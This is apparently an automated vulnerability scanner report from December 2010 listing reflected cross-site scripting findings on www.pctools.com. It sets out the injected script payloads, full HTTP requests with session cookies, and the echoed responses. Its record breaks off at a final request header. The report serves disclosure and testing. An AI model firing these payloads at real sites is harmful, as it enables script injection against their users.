The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 771ad"><script>alert(1)</script>ea89f64c82a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /res/ajax'?771ad"><script>alert(1)</script>ea89f64c82a=1 HTTP/1.1 Host: www.pctools.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dpctoolscom%253D%252526pid%25253Dmissing%25252Fres%25252Fajax%25252Fnewsletter.php78171%252525253Cscript%252525253Ealert%252525281%25252529%252525253C%25252Fscript%252525253Eab2ad77cf21%25252F%252526pidt%25253D1%252526oid%25253Dhttp%2525253A%25252F%25252Fwww.pctools.com%25252F%252526ot%25253DA%3B; __utmz=263908883.1292625229.1.1.utmcsr=msnuk|utmccn=msnuk|utmcmd=cpc; s_sq=pctoolscom%3D%2526pid%253Dmissing/res/ajax/newsletter.php78171%2525253Cscript%2525253Ealert%2525281%252529%2525253C/script%2525253Eab2ad77cf21/%2526pidt%253D1%2526oid%253Dhttp%25253A//www.pctools.com/%2526ot%253DA; mbox=PC#1292625228850-498824.20#1293842010|session#1292632089926-684475#1292634270|check#true#1292632470; ccheck=msnuk; s_cc=true; referrer=msnuk; sc_id=322523496497201162071299101186000000; marincur=usd; s_pers=%20event69%3Devent69%7C1313361274382%3B%20s_nr%3D1292632409333-Repeat%7C1313368409333%3B; IS3_History=1292540208-5-92_13-5-+33-5-+5--5+6--5+7--5+9--5+25--5+26--5+27--5__13-33-5-6-7-9-25-26-27_13-33-5-6-7-9-25-26-27; isvt_visitor=xD1uIAoBC2YAAElVsDIAAAAAAAQMmTcKgHYdTG; JS9K=0; IS3_GSV=DPL-2_TES-1292632091_PCT-1292632409_GeoIP-174.121.222.18_GeoCo-_GeoRg-_GeoCt-_GeoNs-unknown_GeoDm-; PHPSESSID=1df84d11fbcfbc2df0bb18c6f382eee6; __utma=263908883.1482675058.1292625229.1292625229.1292632090.2; reftrack=msnuk%2320101217223359; __utmc=263908883; __utmb=263908883.6.10.1292632090; refid=0;
Response (redirected)
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www4.pctools.com:8080 Date: Sat, 18 Dec 2010 00:50:38 GMT Content-Length: 21124 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... <a href="/res/ajax'?771ad"><script>alert(1)</script>ea89f64c82a=1/"> ...[SNIP]...
1.18. http://www.pctools.com/res/ajax' [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.pctools.com
Path:
/res/ajax'
Issue detail
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 4b6b4<script>alert(1)</script>d6278466cdd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /res/ajax'?4b6b4<script>alert(1)</script>d6278466cdd=1 HTTP/1.1 Host: www.pctools.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dpctoolscom%253D%252526pid%25253Dmissing%25252Fres%25252Fajax%25252Fnewsletter.php78171%252525253Cscript%252525253Ealert%252525281%25252529%252525253C%25252Fscript%252525253Eab2ad77cf21%25252F%252526pidt%25253D1%252526oid%25253Dhttp%2525253A%25252F%25252Fwww.pctools.com%25252F%252526ot%25253DA%3B; __utmz=263908883.1292625229.1.1.utmcsr=msnuk|utmccn=msnuk|utmcmd=cpc; s_sq=pctoolscom%3D%2526pid%253Dmissing/res/ajax/newsletter.php78171%2525253Cscript%2525253Ealert%2525281%252529%2525253C/script%2525253Eab2ad77cf21/%2526pidt%253D1%2526oid%253Dhttp%25253A//www.pctools.com/%2526ot%253DA; mbox=PC#1292625228850-498824.20#1293842010|session#1292632089926-684475#1292634270|check#true#1292632470; ccheck=msnuk; s_cc=true; referrer=msnuk; sc_id=322523496497201162071299101186000000; marincur=usd; s_pers=%20event69%3Devent69%7C1313361274382%3B%20s_nr%3D1292632409333-Repeat%7C1313368409333%3B; IS3_History=1292540208-5-92_13-5-+33-5-+5--5+6--5+7--5+9--5+25--5+26--5+27--5__13-33-5-6-7-9-25-26-27_13-33-5-6-7-9-25-26-27; isvt_visitor=xD1uIAoBC2YAAElVsDIAAAAAAAQMmTcKgHYdTG; JS9K=0; IS3_GSV=DPL-2_TES-1292632091_PCT-1292632409_GeoIP-174.121.222.18_GeoCo-_GeoRg-_GeoCt-_GeoNs-unknown_GeoDm-; PHPSESSID=1df84d11fbcfbc2df0bb18c6f382eee6; __utma=263908883.1482675058.1292625229.1292625229.1292632090.2; reftrack=msnuk%2320101217223359; __utmc=263908883; __utmb=263908883.6.10.1292632090; refid=0;
Response (redirected)
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www4.pctools.com:8080 Date: Sat, 18 Dec 2010 00:50:42 GMT Content-Length: 21116 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... </script>d6278466cdd=1/">/res/ajax'?4b6b4<script>alert(1)</script>d6278466cdd=1/</a> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7753b"-alert(1)-"745c88cb54e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www1.pctools.com:8080 Date: Sat, 18 Dec 2010 01:09:37 GMT Connection: close Content-Length: 21180
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... <script language="JavaScript"> var s_pageName="missing/res/ajax'ffbff%22-alert(1)-%226f7bde6dc2e7753b"-alert(1)-"745c88cb54e/"; var s_account = "pctoolscom"; var uniqueID = "322523496497201162071299101186000000"; var s_events = ""; var s_products = ""; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 28c34<script>alert(1)</script>506331baee0 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www6.pctools.com:8080 Date: Sat, 18 Dec 2010 01:09:38 GMT Connection: close Content-Length: 21232
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... </script>506331baee0/">/res/ajax'ffbff%22-alert(1)-%226f7bde6dc2e28c34<script>alert(1)</script>506331baee0/</a> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e0643"><script>alert(1)</script>6c776a43931 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www5.pctools.com:8080 Date: Sat, 18 Dec 2010 01:09:34 GMT Connection: close Content-Length: 21240
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... <a href="/res/ajax'ffbff%22-alert(1)-%226f7bde6dc2ee0643"><script>alert(1)</script>6c776a43931/"> ...[SNIP]...
1.22. http://www.pctools.com/res/ajax'ffbff%22-alert(1)-%226f7bde6dc2e [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.pctools.com
Path:
/res/ajax'ffbff%22-alert(1)-%226f7bde6dc2e
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8df65"><script>alert(1)</script>09a8379dc49 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www3.pctools.com:8080 Date: Sat, 18 Dec 2010 01:09:28 GMT Connection: close Content-Length: 21252
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... <a href="/res/ajax'ffbff%22-alert(1)-%226f7bde6dc2e?8df65"><script>alert(1)</script>09a8379dc49=1/"> ...[SNIP]...
1.23. http://www.pctools.com/res/ajax'ffbff%22-alert(1)-%226f7bde6dc2e [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.pctools.com
Path:
/res/ajax'ffbff%22-alert(1)-%226f7bde6dc2e
Issue detail
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 18b68<script>alert(1)</script>ed6ea21772d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www4.pctools.com:8080 Date: Sat, 18 Dec 2010 01:09:33 GMT Connection: close Content-Length: 21244
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... </script>ed6ea21772d=1/">/res/ajax'ffbff%22-alert(1)-%226f7bde6dc2e?18b68<script>alert(1)</script>ed6ea21772d=1/</a> ...[SNIP]...
1.24. http://www.pctools.com/res/ajax'ffbff%22-alert(1)-%226f7bde6dc2e [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.pctools.com
Path:
/res/ajax'ffbff%22-alert(1)-%226f7bde6dc2e
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1d2e6"-alert(1)-"a7b00d3dc1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www2.pctools.com:8080 Date: Sat, 18 Dec 2010 01:09:31 GMT Connection: close Content-Length: 21188
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... <script language="JavaScript"> var s_pageName="missing/res/ajax'ffbff%22-alert(1)-%226f7bde6dc2e?1d2e6"-alert(1)-"a7b00d3dc1=1/"; var s_account = "pctoolscom"; var uniqueID = "322523496497201162071299101186000000"; var s_events = ""; var s_products = ""; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a4612"><script>alert(1)</script>8200ec6cfd2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www7.pctools.com:8080 Date: Sat, 18 Dec 2010 01:09:53 GMT Connection: close Content-Length: 21240
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... <a href="/res/ajax'ffbff%22-alert(1)-%226f7bde6dc2ea4612"><script>alert(1)</script>8200ec6cfd2/"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload da62c"-alert(1)-"507216dec17 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www1.pctools.com:8080 Date: Sat, 18 Dec 2010 01:09:54 GMT Connection: close Content-Length: 21180
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... <script language="JavaScript"> var s_pageName="missing/res/ajax'ffbff%22-alert(1)-%226f7bde6dc2eda62c"-alert(1)-"507216dec17/"; var s_account = "pctoolscom"; var uniqueID = "322523496497201162071299101186000000"; var s_events = ""; var s_products = ""; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 30445<script>alert(1)</script>03731f90ac7 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www2.pctools.com:8080 Date: Sat, 18 Dec 2010 01:09:54 GMT Connection: close Content-Length: 21232
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... </script>03731f90ac7/">/res/ajax'ffbff%22-alert(1)-%226f7bde6dc2e30445<script>alert(1)</script>03731f90ac7/</a> ...[SNIP]...
1.28. http://www.pctools.com/res/ajax'ffbff%22-alert(1)-%226f7bde6dc2e/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.pctools.com
Path:
/res/ajax'ffbff%22-alert(1)-%226f7bde6dc2e/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 78885"><script>alert(1)</script>3df54e571e8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www1.pctools.com:8080 Date: Sat, 18 Dec 2010 01:09:51 GMT Connection: close Content-Length: 21256
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... <a href="/res/ajax'ffbff%22-alert(1)-%226f7bde6dc2e/?78885"><script>alert(1)</script>3df54e571e8=1/"> ...[SNIP]...
1.29. http://www.pctools.com/res/ajax'ffbff%22-alert(1)-%226f7bde6dc2e/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.pctools.com
Path:
/res/ajax'ffbff%22-alert(1)-%226f7bde6dc2e/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 2ae78<script>alert(1)</script>22d0c6d33e8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www2.pctools.com:8080 Date: Sat, 18 Dec 2010 01:09:53 GMT Connection: close Content-Length: 21248
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... </script>22d0c6d33e8=1/">/res/ajax'ffbff%22-alert(1)-%226f7bde6dc2e/?2ae78<script>alert(1)</script>22d0c6d33e8=1/</a> ...[SNIP]...
1.30. http://www.pctools.com/res/ajax'ffbff%22-alert(1)-%226f7bde6dc2e/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.pctools.com
Path:
/res/ajax'ffbff%22-alert(1)-%226f7bde6dc2e/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 66cde"-alert(1)-"bea2d3ca20e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www1.pctools.com:8080 Date: Sat, 18 Dec 2010 01:09:52 GMT Connection: close Content-Length: 21196
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... <script language="JavaScript"> var s_pageName="missing/res/ajax'ffbff%22-alert(1)-%226f7bde6dc2e/?66cde"-alert(1)-"bea2d3ca20e=1/"; var s_account = "pctoolscom"; var uniqueID = "322523496497201162071299101186000000"; var s_events = ""; var s_products = ""; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8f3a3"><script>alert(1)</script>17cd53fae9e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /res/ajax8f3a3"><script>alert(1)</script>17cd53fae9e/newsletter.php HTTP/1.1 Host: www.pctools.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utmz=263908883.1292625229.1.1.utmcsr=msnuk|utmccn=msnuk|utmcmd=cpc; mbox=check#true#1292625289|session#1292625228850-498824#1292627089|PC#1292625228850-498824.20#1293834831; ccheck=msnuk; referrer=msnuk; marincur=usd; s_pers=%20s_nr%3D1292625233898-New%7C1313361233898%3B%20event69%3Devent69%7C1313361233902%3B; IS3_History=1292540208-1-52_10-1-+13-1-+33-1-+5--1+6--1+7--1+9--1+25--1+26--1+27--1__10-13-33-5-6-7-9-25-26-27_; isvt_visitor=xD1uIAoBC2YAAElVsDIAAAAAAAQMmTcKgHYdTG; JS9K=0; IS3_GSV=DPL-2_TES-1292625233_PCT-1292625233_GeoIP-174.121.222.18_GeoCo-_GeoRg-_GeoCt-_GeoNs-unknown_GeoDm-; PHPSESSID=3a96b8bc9429b43e51bce102e5a40e4d; __utma=263908883.1482675058.1292625229.1292625229.1292625229.1; reftrack=msnuk%2320101217223359; __utmc=263908883; __utmb=263908883.1.10.1292625229; refid=0;
Response (redirected)
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www1.pctools.com:8080 Date: Fri, 17 Dec 2010 22:40:34 GMT Content-Length: 21168 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... <a href="/res/ajax8f3a3"><script>alert(1)</script>17cd53fae9e/newsletter.php/"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload efa34"-alert(1)-"68ff74b398c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /res/ajaxefa34"-alert(1)-"68ff74b398c/newsletter.php HTTP/1.1 Host: www.pctools.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utmz=263908883.1292625229.1.1.utmcsr=msnuk|utmccn=msnuk|utmcmd=cpc; mbox=check#true#1292625289|session#1292625228850-498824#1292627089|PC#1292625228850-498824.20#1293834831; ccheck=msnuk; referrer=msnuk; marincur=usd; s_pers=%20s_nr%3D1292625233898-New%7C1313361233898%3B%20event69%3Devent69%7C1313361233902%3B; IS3_History=1292540208-1-52_10-1-+13-1-+33-1-+5--1+6--1+7--1+9--1+25--1+26--1+27--1__10-13-33-5-6-7-9-25-26-27_; isvt_visitor=xD1uIAoBC2YAAElVsDIAAAAAAAQMmTcKgHYdTG; JS9K=0; IS3_GSV=DPL-2_TES-1292625233_PCT-1292625233_GeoIP-174.121.222.18_GeoCo-_GeoRg-_GeoCt-_GeoNs-unknown_GeoDm-; PHPSESSID=3a96b8bc9429b43e51bce102e5a40e4d; __utma=263908883.1482675058.1292625229.1292625229.1292625229.1; reftrack=msnuk%2320101217223359; __utmc=263908883; __utmb=263908883.1.10.1292625229; refid=0;
Response (redirected)
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www3.pctools.com:8080 Date: Fri, 17 Dec 2010 22:40:36 GMT Content-Length: 21108 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... <script language="JavaScript"> var s_pageName="missing/res/ajaxefa34"-alert(1)-"68ff74b398c/newsletter.php/"; var s_account = "pctoolscom"; var uniqueID = "322523496497201162071299101186000000"; var s_events = ""; var s_products = ""; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 40ba6<script>alert(1)</script>57e764d1bd8 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /res/ajax40ba6<script>alert(1)</script>57e764d1bd8/newsletter.php HTTP/1.1 Host: www.pctools.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utmz=263908883.1292625229.1.1.utmcsr=msnuk|utmccn=msnuk|utmcmd=cpc; mbox=check#true#1292625289|session#1292625228850-498824#1292627089|PC#1292625228850-498824.20#1293834831; ccheck=msnuk; referrer=msnuk; marincur=usd; s_pers=%20s_nr%3D1292625233898-New%7C1313361233898%3B%20event69%3Devent69%7C1313361233902%3B; IS3_History=1292540208-1-52_10-1-+13-1-+33-1-+5--1+6--1+7--1+9--1+25--1+26--1+27--1__10-13-33-5-6-7-9-25-26-27_; isvt_visitor=xD1uIAoBC2YAAElVsDIAAAAAAAQMmTcKgHYdTG; JS9K=0; IS3_GSV=DPL-2_TES-1292625233_PCT-1292625233_GeoIP-174.121.222.18_GeoCo-_GeoRg-_GeoCt-_GeoNs-unknown_GeoDm-; PHPSESSID=3a96b8bc9429b43e51bce102e5a40e4d; __utma=263908883.1482675058.1292625229.1292625229.1292625229.1; reftrack=msnuk%2320101217223359; __utmc=263908883; __utmb=263908883.1.10.1292625229; refid=0;
Response (redirected)
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www5.pctools.com:8080 Date: Fri, 17 Dec 2010 22:40:37 GMT Content-Length: 21160 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... </script>57e764d1bd8/newsletter.php/">/res/ajax40ba6<script>alert(1)</script>57e764d1bd8/newsletter.php/</a> ...[SNIP]...
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 78171<script>alert(1)</script>ab2ad77cf21 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
